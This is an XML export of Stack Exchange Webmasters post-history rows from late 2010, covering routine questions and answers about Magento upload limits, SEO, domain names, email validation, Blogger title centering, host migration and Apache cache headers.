  <row Id="11986" PostHistoryTypeId="5" PostId="6001" RevisionGUID="f79e23ee-e175-46ef-8ee2-f8eeb37648c9" CreationDate="2010-11-28T17:33:27.480" UserId="3148" Comment="added 1 characters in body; edited title; edited title" Text="Most websites have images with text embedded into the images.&#xD;&#xA;Shure, they look great, but when it comes to translation&#xD;&#xA;into other languages, it immediately gets painful to maintain.&#xD;&#xA;&#xD;&#xA;Are there any examples of modern beautiful static websites,  &#xD;&#xA;2 - 5 pages, fixed with, top navigation, footer, 1 - 2 columns,  &#xD;&#xA;using only CSS, text and &quot;images without text&quot; ?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11987" PostHistoryTypeId="4" PostId="6001" RevisionGUID="f79e23ee-e175-46ef-8ee2-f8eeb37648c9" CreationDate="2010-11-28T17:33:27.480" UserId="3148" Comment="added 1 characters in body; edited title; edited title" Text="Create beautiful websites with &quot;text free images&quot; ?" />
  <row Id="11995" PostHistoryTypeId="2" PostId="6005" RevisionGUID="ce8161c3-fb5f-4028-bf40-c0815580f82a" CreationDate="2010-11-28T21:52:52.840" UserId="2821" Text="Is there a way to increase the maximum image upload file size from 2mb to 5 or 10mb?" />
  <row Id="11996" PostHistoryTypeId="1" PostId="6005" RevisionGUID="ce8161c3-fb5f-4028-bf40-c0815580f82a" CreationDate="2010-11-28T21:52:52.840" UserId="2821" Text="How do I increase the image size upload limit in Magento?" />
  <row Id="11997" PostHistoryTypeId="3" PostId="6005" RevisionGUID="ce8161c3-fb5f-4028-bf40-c0815580f82a" CreationDate="2010-11-28T21:52:52.840" UserId="2821" Text="&lt;images&gt;&lt;magento&gt;&lt;uploading&gt;&lt;file-size&gt;" />
  <row Id="12000" PostHistoryTypeId="2" PostId="6007" RevisionGUID="733b1e29-043d-4bbc-8a74-c4dd7d4c7665" CreationDate="2010-11-28T22:10:17.653" UserId="2821" Text="[Someone on the Magento forums posted the following as their solution:][1]&#xD;&#xA;&#xD;&#xA;&gt; You have to change both `post_max_size` and `upload_max_filesize` in the `php.ini`&#xD;&#xA;&#xD;&#xA;&gt; And don’t forget to restart your server afterwards. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.magentocommerce.com/boards/viewreply/124630/" />
  <row Id="12001" PostHistoryTypeId="2" PostId="6008" RevisionGUID="65a6c722-5702-4a3e-8d9e-ba21b6aa9069" CreationDate="2010-11-28T22:15:44.867" UserId="3513" Text="I am fairly new to SEO and I have done all of the tactics and operations that I know to do to help my site rank to the number 1 spot on Google. I know that no one can guarantee the number 1 spot on Google or on any other search engine but I cannot even seem to get my website to the first page of Google's search results.&#xD;&#xA;&#xD;&#xA;My company is looking to hire a company or individual to work on our SEO. Does anyone here know of an SEO company or individual that has had good results in the past with getting a website to the front of Google, and preferably to the number 1 spot on Google? We are willing to pay a large sum of money for our keywords to rank on the front of Google search results. Any suggestions are welcome.&#xD;&#xA;&#xD;&#xA;Thanks &#xD;&#xA;John" />
  <row Id="12002" PostHistoryTypeId="1" PostId="6008" RevisionGUID="65a6c722-5702-4a3e-8d9e-ba21b6aa9069" CreationDate="2010-11-28T22:15:44.867" UserId="3513" Text="Need Help With Finding SEO Company/Individual" />
  <row Id="12003" PostHistoryTypeId="3" PostId="6008" RevisionGUID="65a6c722-5702-4a3e-8d9e-ba21b6aa9069" CreationDate="2010-11-28T22:15:44.867" UserId="3513" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;marketing&gt;&lt;sem&gt;" />
  <row Id="12004" PostHistoryTypeId="2" PostId="6009" RevisionGUID="4795c9cf-4384-4663-9f38-669a849b3c3b" CreationDate="2010-11-28T22:24:15.187" UserId="3453" Text="General rule for girls and domain names: the ones you like are taken. You can still get one from a strange country, though.&#xD;&#xA;&#xD;&#xA;I'm not sure how helful would my answer be to you but I don't think that if you are doing a programming related website, you must choose a SEF domain name. Take Stack Overflow, for example. People go there for the content. Programming geeks tend to go to communities recommended by their colleagues.&#xD;&#xA;&#xD;&#xA;Besides, there are lots of C-related websites. In my opinion, your SEO strategy should start with long-tail optimization for uncommon problems which are more likely to drag people to your community.&#xD;&#xA;&#xD;&#xA;Otherwise domain names are indeed a hard part and I really hope someone here is good with thinking of good ones." />
  <row Id="12005" PostHistoryTypeId="2" PostId="6010" RevisionGUID="d4ad3385-5c04-42cf-bdbd-968010c35f72" CreationDate="2010-11-28T22:56:04.010" UserId="3514" Text="If you're using a contact form, you could do the fun technique of using random names for your inputs.&#xD;&#xA;&#xD;&#xA;For example, I make a contact form, instead of using email as an input, I would use liame, same with name (eman), and comment (tnemmoc). The bots don't actually know what those inputs do, so they just disregard them." />
  <row Id="12006" PostHistoryTypeId="2" PostId="6011" RevisionGUID="bfddcacd-3826-4cce-a69a-06fcd5684cff" CreationDate="2010-11-28T23:04:02.283" UserId="3514" Text="&lt;a href=&quot;http://www.jobberbase.com/&quot;&gt;JobberBase&lt;/a&gt; is an opensource job listing site, if that's what you're looking for." />
  <row Id="12007" PostHistoryTypeId="2" PostId="6012" RevisionGUID="c54f62d0-91b0-479b-ba3b-eda99675647f" CreationDate="2010-11-29T00:45:48.780" UserId="3515" Text="I'm starting a new blog and I have the ability to publish my archives (old post urls that will receive most of my search traffic) anywhere I choose without any repercussions. I've been taking some time to think about where to publish my archives, which will be dashified versions of post titles (i.e. my-post-about-topic-x.html) and my choices are to publish in the root (blogurl.com/my-post.html), in some subdirectory (blogurl.com/archive/my-post.html) or some other option I haven't thought of.&#xD;&#xA;&#xD;&#xA;I'm focusing on *simplicity* so I like the first option (no subdirectory) but that requires that I reserve certain names for other templates (such as a list of all old posts at archive.html). However, not reserving any file names also has its benefits in simplicity.&#xD;&#xA;&#xD;&#xA;What are some other pros and cons of archive urls that I've listed? I'd be interested in any other archive urls you may think of as well." />
  <row Id="12008" PostHistoryTypeId="1" PostId="6012" RevisionGUID="c54f62d0-91b0-479b-ba3b-eda99675647f" CreationDate="2010-11-29T00:45:48.780" UserId="3515" Text="What URL should I use for my blog archives?" />
  <row Id="12009" PostHistoryTypeId="3" PostId="6012" RevisionGUID="c54f62d0-91b0-479b-ba3b-eda99675647f" CreationDate="2010-11-29T00:45:48.780" UserId="3515" Text="&lt;url&gt;&lt;blog&gt;" />
  <row Id="12010" PostHistoryTypeId="2" PostId="6013" RevisionGUID="b694bf12-eea6-4442-be7d-518c549e230c" CreationDate="2010-11-29T01:58:00.133" UserId="1218" Text="That's a good question. I don't know if anyone has really looked at it from a historical perspective. There are plenty of good sites doing yearly trend rundowns (eg [Smashing Magazine][1], [Mashable][2], [Web Design Ledger][3], [Noupe][4], and others.&#xD;&#xA;&#xD;&#xA;It would be great to see a historical perspective on this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smashingmagazine.com/2010/05/04/web-design-trends-2010/&#xD;&#xA;  [2]: http://mashable.com/2010/09/28/web-logo-design-trends/?utm_source=twitterfeed&amp;utm_medium=twitter&#xD;&#xA;  [3]: http://webdesignledger.com/tips/web-design-trends-for-2010&#xD;&#xA;  [4]: http://www.noupe.com/" />
  <row Id="12011" PostHistoryTypeId="5" PostId="6012" RevisionGUID="e3b316bd-a433-4ba0-a5f3-64ee5395b92a" CreationDate="2010-11-29T02:04:36.853" UserId="138" Comment="added 6 characters in body" Text="I'm starting a new blog and I have the ability to publish my archives (old post urls that will receive most of my search traffic) anywhere I choose without any repercussions. I've been taking some time to think about where to publish my archives, which will be dashified versions of post titles (i.e. `my-post-about-topic-x.html`) and my choices are to publish in the root (`blogurl.com/my-post.html`), in some subdirectory (`blogurl.com/archive/my-post.html`) or some other option I haven't thought of.&#xD;&#xA;&#xD;&#xA;I'm focusing on *simplicity* so I like the first option (no subdirectory) but that requires that I reserve certain names for other templates (such as a list of all old posts at archive.html). However, not reserving any file names also has its benefits in simplicity.&#xD;&#xA;&#xD;&#xA;What are some other pros and cons of archive urls that I've listed? I'd be interested in any other archive urls you may think of as well." />
  <row Id="12015" PostHistoryTypeId="8" PostId="5924" RevisionGUID="0c7c0eeb-e899-4432-8c48-b9cfe61ef7f6" CreationDate="2010-11-29T02:46:16.507" UserId="1253" Comment="Rollback to [17e0ea1a-19d9-4f7c-a958-0fccaf2bbca0]" Text="An easy way to detect bogus email addresses is to send an email to the address with a confirmation link inside. If the user doesn't click on the confirmation link their account is not activated and they can't use their website until they do. This will catch fake email addresses but not prevent someone from creating a throw away address. However, this will deter the vast majority of users who are abusing your system.&#xD;&#xA;&#xD;&#xA;If you use PHP you can use the [`checkdnsrr()`][1] function to see if MX records have been set up for the domain name in their email address. If they haven't, or the domain doesn't exist, you will know immediately. (It is possible that some domains do not have these records set up that are legitimate. But these are few and far between).&#xD;&#xA;&#xD;&#xA;    list(, $domain) = explode('@', $email_address);&#xD;&#xA;    if (function_exists('checkdnsrr') &amp;&amp; !checkdnsrr($domain, 'MX'))&#xD;&#xA;    {&#xD;&#xA;        // invalid email address&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://us2.php.net/manual/en/function.checkdnsrr.php" />
  <row Id="12016" PostHistoryTypeId="5" PostId="5924" RevisionGUID="0c194b2f-d1af-4bc2-8b48-eb8150b8da0c" CreationDate="2010-11-29T02:46:42.123" UserId="1253" Comment="Fixed link to checkdnsrr funtion" Text="An easy way to detect bogus email addresses is to send an email to the address with a confirmation link inside. If the user doesn't click on the confirmation link their account is not activated and they can't use their website until they do. This will catch fake email addresses but not prevent someone from creating a throw away address. However, this will deter the vast majority of users who are abusing your system. &#xD;&#xA;&#xD;&#xA;In your case, you can go deactivate everyone's account (probably after a set period of time) unless they confirm their email address. This will be inconvenient to your users but if these bogus email addresses are a real problem this will solve it. Then you can verify future members using the technique above.&#xD;&#xA;&#xD;&#xA;If you use PHP you can use the [`checkdnsrr()`][1] function to see if MX records have been set up for the domain name in their email address. If they haven't, or the domain doesn't exist, you will know immediately. (It is possible that some domains do not have these records set up that are legitimate. But these are few and far between).&#xD;&#xA;&#xD;&#xA;    list(, $domain) = explode('@', $email_address);&#xD;&#xA;    if (function_exists('checkdnsrr') &amp;&amp; !checkdnsrr($domain, 'MX'))&#xD;&#xA;    {&#xD;&#xA;        // invalid email address&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://us2.php.net/manual/en/function.checkdnsrr.php" />
  <row Id="12017" PostHistoryTypeId="2" PostId="6014" RevisionGUID="447eef9c-992f-4fcd-8bf9-83cb70177374" CreationDate="2010-11-29T03:25:13.900" UserId="1757" Text="If the problem is that your users don't know their own e-mail address, then there's really not too much you can do about that. John Conde's provided a very clever way to check if the entered domain is set up for email, which should filter out a lot of the bad addresses, but it doesn't guarantee that the user will remember the right address.&#xD;&#xA;&#xD;&#xA;Now, you could spellcheck the email address to point out any typos to the user, as well as check for misspellings of common names and email domains by calculating Levenshtein distances, but this is still very hit-or-miss. Given the situation you've described, you may have more success **emphasizing how important it is to put in the exact email address** and let the user know that this is a huge problem amongst new signups. This should at the very least get rid of *asdfasdf* addresses.&#xD;&#xA;&#xD;&#xA;Novice computer users often have a hard time grasping that many computer applications require precise input, and that &quot;john.smith@com&quot; is not the same as &quot;john@smith.com&quot;. This is why they might think it's ok to guess their email address, and that as long as it's &quot;close enough&quot; the application will figure it out. If they understood that a single incorrect character renders the email address completely useless, that might prompt them to ask their kids or family IT guy for help.&#xD;&#xA;&#xD;&#xA;Alternatively, you could just do away with the email confirmation and verify users another way. For example, SMS confirmations are increasingly common these days, and they have the benefit of eliminating spam or duplicate accounts. Simply text the user with a confirmation code or give them a code to text to the site.&#xD;&#xA;&#xD;&#xA;Or, if knowing the user's email address is vital to the site, just reverse the confirmation process. At the end of the signup process, ask the user to send an e-mail with a particular subject line to the site. You can even provide a `mailto` link to simplify the process, so all they have to do is click the link and hit &quot;send&quot;." />
  <row Id="12018" PostHistoryTypeId="2" PostId="6015" RevisionGUID="369eedc0-0d30-492a-be3b-e5e349001b95" CreationDate="2010-11-29T03:36:45.877" UserId="2293" Text="If you are looking for some CSS tutorials, you would find very interesting tips about using @font-face (so you can embed nice fonts into your page and keep your design great while accessible and easy to translate).&#xD;&#xA;&#xD;&#xA;Follow two links:&#xD;&#xA; - http://matthewjamestaylor.com/blog&#xD;&#xA; - http://nicewebtype.com/notes/2009/10/30/how-to-use-css-font-face/" />
  <row Id="12019" PostHistoryTypeId="5" PostId="3577" RevisionGUID="135da996-266b-45b3-bac7-57f79716d68c" CreationDate="2010-11-29T04:32:49.623" UserId="1253" Comment="added 175 characters in body" Text="No. They do not. And your logic is spot on. &#xD;&#xA;&#xD;&#xA;- They don't know how much traffic any sites gets unless it is using Google Analytics which is only a tiny portion of all websites.&#xD;&#xA;&#xD;&#xA;- Traffic is not an indicator of content quality or relevance. &#xD;&#xA;&#xD;&#xA;- It can be easily manipulated. You can have your own bots reload your pages constantly or run an ad campaign that boosts your traffic. Or just trick people in coming to your site. A visit is a visit.&#xD;&#xA;&#xD;&#xA;- It's a self fulfilling prophecy. Sites that rank #1 in Google will get more traffic then the sites below it. As a result it will get more traffic which will help keep it ranked above the other sites. &#xD;&#xA;&#xD;&#xA;- It doesn't take into account how long someone was on a page. If someone visited the page and then immediately left because they didn't like it or it wasn't what they were looking for it still would be a visit.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;- As mentioned in the comments here is a [link to a video where Matt Cutts covers this very topic][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=CgBw9tbAQhU" />
  <row Id="12020" PostHistoryTypeId="5" PostId="6000" RevisionGUID="a6b5d58e-533e-4743-9af6-7c9969f44c52" CreationDate="2010-11-29T05:29:43.477" UserId="2930" Comment="added 54 characters in body" Text="I want to make a blog but I am confused with the [domain name][1].I took helped from Google to search for the keywords and found **&quot;C programming&quot;**,&quot;**C language**&quot;and &quot;**C language tutorials**&quot; very rich.The problem is that I don't know how to choose a good domain name.I want my domain name to contain maximum rich keywords for SEO.Please help me produce a domain name.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mycsnippets.blogspot.com/" />
  <row Id="12021" PostHistoryTypeId="2" PostId="6016" RevisionGUID="ddc42f36-9bcb-4fa5-90b0-788cb8803780" CreationDate="2010-11-29T07:16:50.157" UserId="3518" Text="The best bet with domain names is determine rather you are creating a one hit website (only targeting one term) or a long-term brand. If your goal is long term branding, your best bet is to go with a term relevant to programming in general. If your goal is that one term, you may be best off throwing together an exact match or otherwise, a very close one, as you mention. &#xD;&#xA;&#xD;&#xA;But as Vergil detailed, most exact match domains have been taken - actually, all have - unless you're in a newly emerging - and mostly anonymous - market. &#xD;&#xA;&#xD;&#xA;In this instance, I would first attempt to find qualifying .net or .org domains. These have shown to have secondary acceptance rates as compared to .com's, and still will draw a reputable amount of clickthroughs. The further down the TLD chain you get, to .us, .tv and etc, the less likely you are to get user respect, which pervades through all aspects of a site. &#xD;&#xA;&#xD;&#xA;I can't spend the time to find you an exact domain, but if you are going with a longterm C resource, I would suggest a C+adjective derivative, which will likely still be available. This will help brand you but still help a bit with SEO.&#xD;&#xA;&#xD;&#xA;CDialects&#xD;&#xA;CommunicatingC&#xD;&#xA;&#xD;&#xA;Are two ideas I just came up with off the top of my head. Good luck. " />
  <row Id="12022" PostHistoryTypeId="2" PostId="6017" RevisionGUID="88f7b7e9-b21d-4ad2-9306-11e36df79282" CreationDate="2010-11-29T07:56:29.233" UserId="2930" Text="I am very new to blogging.[My blog][1] has its title description at the top left but I want it to be in the middle of the screen and the description of the blog beneath the image.Thanks in advance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mycsnippets.blogspot.com/" />
  <row Id="12023" PostHistoryTypeId="1" PostId="6017" RevisionGUID="88f7b7e9-b21d-4ad2-9306-11e36df79282" CreationDate="2010-11-29T07:56:29.233" UserId="2930" Text="How to move blog title in the middle of the screen?" />
  <row Id="12024" PostHistoryTypeId="3" PostId="6017" RevisionGUID="88f7b7e9-b21d-4ad2-9306-11e36df79282" CreationDate="2010-11-29T07:56:29.233" UserId="2930" Text="&lt;blog&gt;&lt;blogger&gt;&lt;title&gt;" />
  <row Id="12025" PostHistoryTypeId="2" PostId="6018" RevisionGUID="57bc385f-84ed-49bd-986e-ce6b81c77b60" CreationDate="2010-11-29T08:11:32.920" UserId="1022" Text="Pros of using sub-directories:&#xD;&#xA;&#xD;&#xA;- Dealing with duplicate titles/URIs/filenames. With everything hanging on a single directory, you have to be careful to not use the same name ever again. Easy enough to overlook now, but 5 years down the road you'll feel it. You can avoid this just by adding a date or unique ID in the URL somewhere (e.g. &quot;/2010-11-29-some-post.html&quot; or &quot;/6012/what-url-should-i-use-for-my-blog-archives&quot;).&#xD;&#xA;&#xD;&#xA;- If you're coding the application yourself from scratch, having the subdir there will help if you want to differentiate the display of archived posts from current ones. For most modern blogs, it won't actually be a real directory anyway, just a trigger to call in additional code and views (calendars for navigating through the history, etc).&#xD;&#xA;&#xD;&#xA;- Search engines like descriptive URLs.&#xD;&#xA;&#xD;&#xA;Cons:&#xD;&#xA;&#xD;&#xA;- If you're coding it yourself, it can add a layer or two of complexity. You'd be setting a hard rule of not allowing alternate views for certain posts - but if you don't need it, you don't need it.&#xD;&#xA;&#xD;&#xA;- It's pointless organization from the user's perspective. For example, &quot;/monkeys/1045-stuff-about-monkeys&quot; has context - it tells me what category I'm in, and that there are probably other related posts. On the other hand, &quot;/archive/1045-stuff-about-monkeys&quot; just tells me the post is old.&#xD;&#xA;&#xD;&#xA;Can't think of any other cons offhand, but in the end it's mostly just organization and personal preference. The only real issue is the possibility of duplicate URLs (above), and that's easy to work around.&#xD;&#xA;" />
  <row Id="12026" PostHistoryTypeId="2" PostId="6019" RevisionGUID="b33416ae-ea56-403f-8856-0cbe5f44a4e0" CreationDate="2010-11-29T08:35:54.610" UserId="2379" Text="    &lt;div style=&quot;text-align:center&quot;&gt;Title of your blog&lt;/div&gt;" />
  <row Id="12027" PostHistoryTypeId="5" PostId="6017" RevisionGUID="28c1dcc2-ebef-4832-9ea6-76bf722df3c6" CreationDate="2010-11-29T09:09:16.003" UserId="2930" Comment="added 142 characters in body" Text="I am very new to blogging.[My blog][1] has its title description at the top left but I want it to be in the middle of the screen and the description of the blog beneath the image.Thanks in advance.&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;I did:&#xD;&#xA;      &lt;title style=&quot;text-align:center&quot; &gt;&lt;data:blog.pageTitle/&gt;&lt;/title&gt;&#xD;&#xA;But the title is still at the topleft corner.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mycsnippets.blogspot.com/" />
  <row Id="12028" PostHistoryTypeId="5" PostId="6017" RevisionGUID="d423fdff-2591-427b-bd34-10c165bd03ac" CreationDate="2010-11-29T09:39:10.453" UserId="2930" Comment="added 12 characters in body" Text="I am very new to blogging.[My blog][1] has its title description at the top left but I want it to be in the middle of the screen and the description of the blog beneath the image.Thanks in advance.&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;I did:&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;       &lt;title style=&quot;text-align:center&quot;&gt;&lt;data:blog.pageTitle/&gt;&lt;/title &gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But the title is still at the topleft corner.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mycsnippets.blogspot.com/" />
  <row Id="12029" PostHistoryTypeId="2" PostId="6020" RevisionGUID="d15a3b9a-4b39-4f35-98b9-b8008121165b" CreationDate="2010-11-29T10:01:25.460" UserId="3467" Text="The `&lt;title&gt;` element isn't used for the title displayed on your website, only for the title in the browser's top bar. &#xD;&#xA;&#xD;&#xA;You'll have to edit the CSS file and set `#titlewrapper { text-align: center }`&#xD;&#xA;&#xD;&#xA;Alternatively you can add `style=&quot;text-align: center&quot;` in the `&lt;div id='titlewrapper'&gt;` in your HTML." />
  <row Id="12030" PostHistoryTypeId="6" PostId="6017" RevisionGUID="f59cd768-0031-4d17-aac9-7c203eb1be93" CreationDate="2010-11-29T11:33:05.997" UserId="1955" Comment="edited tags" Text="&lt;html&gt;&lt;css&gt;&lt;blog&gt;&lt;blogger&gt;&lt;title&gt;" />
  <row Id="12031" PostHistoryTypeId="2" PostId="6021" RevisionGUID="8e3a4ef7-31fb-49b4-ad6a-7a6795ea4faf" CreationDate="2010-11-29T11:57:23.450" UserId="2748" Text="Well, I got it. The title is wrapped with a `&lt;h1&gt;` which is by default aligned at the left. so change it's CSS to `text-align:center;`&#xD;&#xA;&#xD;&#xA;Use this&#xD;&#xA;&#xD;&#xA;    #titlewrapper h1 { text-align:center; }&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12032" PostHistoryTypeId="2" PostId="6022" RevisionGUID="eff7f75a-8a8e-445d-81e5-e768f2cf1933" CreationDate="2010-11-29T12:57:02.830" UserDisplayName="Andrej" Text="I haven't done this before so I gotta ask.&#xD;&#xA;I'm doing a site for a client. The current site is done in PHP, and I'll do it in ASP.NET.&#xD;&#xA;Now, the current hosting service does not support ASP.NET code, so I'll have to change the hosting provider, and that's fine, BUT, the client SPECIFICALLY asked that the email adresses stay the same.&#xD;&#xA;Is this doable and if yes, how?&#xD;&#xA;So only the hosting provider changes, the domain name stays the same.&#xD;&#xA;&#xD;&#xA;Tnx for your time!&#xD;&#xA;Andrej" />
  <row Id="12033" PostHistoryTypeId="1" PostId="6022" RevisionGUID="eff7f75a-8a8e-445d-81e5-e768f2cf1933" CreationDate="2010-11-29T12:57:02.830" UserDisplayName="Andrej" Text="Change host / keep emails" />
  <row Id="12034" PostHistoryTypeId="3" PostId="6022" RevisionGUID="eff7f75a-8a8e-445d-81e5-e768f2cf1933" CreationDate="2010-11-29T12:57:02.830" UserDisplayName="Andrej" Text="&lt;web-hosting&gt;" />
  <row Id="12035" PostHistoryTypeId="2" PostId="6023" RevisionGUID="0c9c89b9-d30b-4621-83ff-0b2e44bd83d3" CreationDate="2010-11-29T13:03:21.647" UserId="1622" Text="There's no problem in having mail hosted at one place and web at another. If the current hosting service has a package for mail only I'd suggest you switch to that one when the site is moved." />
  <row Id="12036" PostHistoryTypeId="2" PostId="6024" RevisionGUID="506867e7-2e0d-47f3-99af-5b622ef1503e" CreationDate="2010-11-29T13:12:19.110" UserId="1955" Text="You can check http://webmasters.stackexchange.com/questions/5919/changing-cname-record-will-it-affect-existing-email-addresses/5921#5921 almost the same case. Also have in mind that you can change the email vendor and still keep the email address." />
  <row Id="12037" PostHistoryTypeId="2" PostId="6025" RevisionGUID="109cf8be-8340-425b-a068-707c43236d84" CreationDate="2010-11-29T13:55:24.160" UserId="3236" Text="I want to buy a domain that contains some popular words, and which is occupied by some squatters. The domain is due to expire soon. How should I proceed ? Should I wait until the expiration day, and then buy that domain from a reliable registrar ? Should I somehow pre-order that domain name to the current domain registrar ? Or what ?" />
  <row Id="12038" PostHistoryTypeId="1" PostId="6025" RevisionGUID="109cf8be-8340-425b-a068-707c43236d84" CreationDate="2010-11-29T13:55:24.160" UserId="3236" Text="How to get a super domain ?" />
  <row Id="12039" PostHistoryTypeId="3" PostId="6025" RevisionGUID="109cf8be-8340-425b-a068-707c43236d84" CreationDate="2010-11-29T13:55:24.160" UserId="3236" Text="&lt;domains&gt;&lt;registrar&gt;" />
  <row Id="12040" PostHistoryTypeId="2" PostId="6026" RevisionGUID="8161ef7b-20bd-448d-8453-6c93eb834171" CreationDate="2010-11-29T14:07:15.963" UserId="1253" Text="1) Create the email accounts on the new server&#xD;&#xA;&#xD;&#xA;2) Have the customer download any emails they wish to keep off of the old server (if they haven't done so already)&#xD;&#xA;&#xD;&#xA;3) After business hours change the DNS records to reflect the new host's nameservers (and by extensions MX records)&#xD;&#xA;&#xD;&#xA;4) If the mail settings have changed, have the customer update their email client to connect to the new mail server.&#xD;&#xA;&#xD;&#xA;5) Some emails may still get routed to the old server. Have the customer check this by either using webmail (if available) or using their old IP address for the mail server." />
  <row Id="12041" PostHistoryTypeId="2" PostId="6027" RevisionGUID="b1075368-1b67-498b-a8cb-538970f6708f" CreationDate="2010-11-29T14:07:44.427" UserId="3467" Text="As soon as it's dropped by the one who owns it now it probably goes into quarantine for a while. I believe this is three months, but I'm not sure. This is done to prevent domain squatters from stealing domains the moment in comes free in case the original buyer forgot to renew his subscription.&#xD;&#xA;&#xD;&#xA;If it's a really good domain name you can be sure that there's companies out there that do a regular check on that domain and they'll see when it's dropped into quarantine, so that they can register the domain the second it has become really free. If you think the domain is not popular enough for companies to do that you should just check with a normal registrar (GoDaddy or similar) regularly if you can register it. Another option is to contact them personally and ask if you can take it over before it drops from quarantine. There may be a chance that you awaken a sleeping dog though and they'll renew it just to have you pay more.&#xD;&#xA;&#xD;&#xA;My bet would be to wait it out and try and register it as soon as you're able to without contacting them, but as I said if it's a really good domain name chances are someone will beat you to it." />
  <row Id="12042" PostHistoryTypeId="2" PostId="6028" RevisionGUID="72217220-441e-4c68-a31d-eb265e7462a1" CreationDate="2010-11-29T14:09:49.390" UserId="3521" Text="I'm using Apache 2.2.16.&#xD;&#xA;&#xD;&#xA;I've got the following HTML file in my htdocs folder:&#xD;&#xA;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;     &lt;link media=&quot;screen&quot; type=&quot;text/css&quot; href=&quot;/css/test.css&quot; rel=&quot;stylesheet&quot; /&gt;&#xD;&#xA;     &lt;body&gt;XXXX&lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;I'm trying to make the CSS file cache in my browser so that it does not make another request for it, apart from on the first ever page load.&#xD;&#xA;&#xD;&#xA;However, every time I press refresh, I can see that the CSS file is loaded again from the server. I see 200 response codes for the file in my server logs.&#xD;&#xA;&#xD;&#xA;I've got the following in my httpd.conf file:&#xD;&#xA;&#xD;&#xA;    &lt;LocationMatch &quot;\.(css)$&quot;&gt;&#xD;&#xA;     Header set Cache-Control &quot;max-age=2592000&quot;&#xD;&#xA;     Header set Expires &quot;Thu, 15 Apr 2020 20:00:00 GMT&quot;&#xD;&#xA;     Header unset Last-Modified&#xD;&#xA;     Header set Content-Type text/css&#xD;&#xA;     Header unset ETag&#xD;&#xA;    &lt;/LocationMatch&gt;&#xD;&#xA;&#xD;&#xA;Here are my response headers, as reported by Firebug:&#xD;&#xA;&#xD;&#xA;    Date Mon, 29 Nov 2010 10:48:49 GMT&#xD;&#xA;    Server Apache/2.2.16 (Win32)&#xD;&#xA;    Accept-Ranges bytes&#xD;&#xA;    Content-Length 18107&#xD;&#xA;    Cache-Control max-age=2592000&#xD;&#xA;    Expires Thu, 15 Apr 2020 20:00:00 GMT&#xD;&#xA;    Content-Type text/css&#xD;&#xA;    Keep-Alive timeout=5, max=97&#xD;&#xA;    Connection Keep-Alive&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I've read a few articles about setting the caching headers, but I just can't see to get it working.&#xD;&#xA;&#xD;&#xA;Any advice greatly appreciated.&#xD;&#xA;" />
  <row Id="12043" PostHistoryTypeId="1" PostId="6028" RevisionGUID="72217220-441e-4c68-a31d-eb265e7462a1" CreationDate="2010-11-29T14:09:49.390" UserId="3521" Text="Problem with Expires/Cache-Control Headers" />
  <row Id="12044" PostHistoryTypeId="3" PostId="6028" RevisionGUID="72217220-441e-4c68-a31d-eb265e7462a1" CreationDate="2010-11-29T14:09:49.390" UserId="3521" Text="&lt;web-development&gt;&lt;apache&gt;&lt;cache&gt;&lt;http-headers&gt;&lt;cache-control&gt;" />
  <row Id="12045" PostHistoryTypeId="2" PostId="6029" RevisionGUID="0306e60f-bfb3-42c7-b08f-0d8eba5ac1ee" CreationDate="2010-11-29T14:17:51.567" UserId="1955" Text="There are several options:&#xD;&#xA;&#xD;&#xA;1) wait the domain to be dropped and buy it then (if it is really good domain that may be a hard work(check Litso`s answer)&#xD;&#xA;&#xD;&#xA;2) if you have legal(law) possession of the word(trade mark, company name etc.) you can claim the registrar to give you the domain control - this can be a slow and painful procedure and I am not sure that every registrar do it&#xD;&#xA;&#xD;&#xA;3) you can make regular checks on website that sell expired domains(or ones that will expire soon).&#xD;&#xA;&#xD;&#xA;4) there are some really good domains on sale, this is expensive option but depending from the aim it can be really profitable" />
  <row Id="12046" PostHistoryTypeId="2" PostId="6030" RevisionGUID="c9dbdf78-4c6e-4d3c-a85f-dd417afa342a" CreationDate="2010-11-29T14:29:57.000" UserId="3522" Text="I'm working on a project where I have to override both embedded styles and primary style sheets in order to change a design. I've got everything working in all the main browsers/versions except for a submit button where the client wants a specific image for the button. I'm using background url to bring in the image, but there is &quot;submit&quot; text in the html that can't be removed from the template because we don't have access. I set color to transparent but it still displays text over the button in IE is there any way to remove this text via css?&#xD;&#xA;&#xD;&#xA;Thanks in advance for any help." />
  <row Id="12047" PostHistoryTypeId="1" PostId="6030" RevisionGUID="c9dbdf78-4c6e-4d3c-a85f-dd417afa342a" CreationDate="2010-11-29T14:29:57.000" UserId="3522" Text="IE color: transparent; question" />
  <row Id="12048" PostHistoryTypeId="3" PostId="6030" RevisionGUID="c9dbdf78-4c6e-4d3c-a85f-dd417afa342a" CreationDate="2010-11-29T14:29:57.000" UserId="3522" Text="&lt;css&gt;&lt;transparency&gt;" />
